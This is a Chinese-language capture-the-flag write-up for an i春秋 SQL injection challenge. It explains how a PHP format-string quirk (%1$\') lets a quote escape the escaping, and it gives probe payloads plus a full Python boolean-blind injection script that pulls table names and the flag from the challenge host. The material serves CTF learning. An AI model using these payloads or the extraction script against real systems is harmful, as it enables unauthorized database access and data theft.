i春秋websqli wp

2021-03-10 12:00:19

今天學到了新的sqli知識
在這裡插入圖片描述
依據題目環境猜測為sql注入,嘗試了各種繞過都無解。
跑一下fuzz字典,發現只有 % 是不報錯的,參考了大佬的wp才解出來。
思路:
在php的格式化字串中,%後的一個字元(除了’%’)會被當作字元型別,而被吃掉,單引號’,斜槓\也不例外。
因為題目存在過濾,所以注入單引號被跳脫成’ \’ ‘,我們注入的%後就變成了’ %\’ ',格式化的時候,引數少於%的個數則匹配為空,並且需要預留位置,預留位置為數位和 ’ $\ ’ 組成,所以%將\給吃掉了,單引號就逃逸了。
嘗試一下

admin%1$\' or 1=1#
admin%1$\' or 1=2#

在這裡插入圖片描述
在這裡插入圖片描述

上面兩種注入頁面回顯不一樣,則注入成功,接下來就是布林盲注的過程了
指令碼如下

import time
import requests
import sys
import string
import logging


# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target='http://1fc3cc5e51a5431cb0de0e14491e0198e1238fc105a449d2.changame.ichunqiu.com/'
#庫名
#dataStr="database()"
#表名
#dataStr="(select group_concat(table_name) from information_schema.tables where table_schema=database())"
#列名
#dataStr="(select group_concat(column_name) from information_schema.columns where table_name='flag')"
#資料
dataStr="(select flag from flag limit 0,1)"

def binaryTest(i,cu,comparer):
    s=requests.post(target,data={"username":r"admin%1$\' or (ascii(substr({},{},1)){comparer}{})#".format(dataStr,i,cu,comparer=comparer),"password":"123"})
    if 'password error!' in s.text:
        return True
    else:
        return False


def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)


def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 當前結果:"+finres)
    print("(+) 執行完成,結果為:", finres)

if __name__=="__main__":
    main()

在這裡插入圖片描述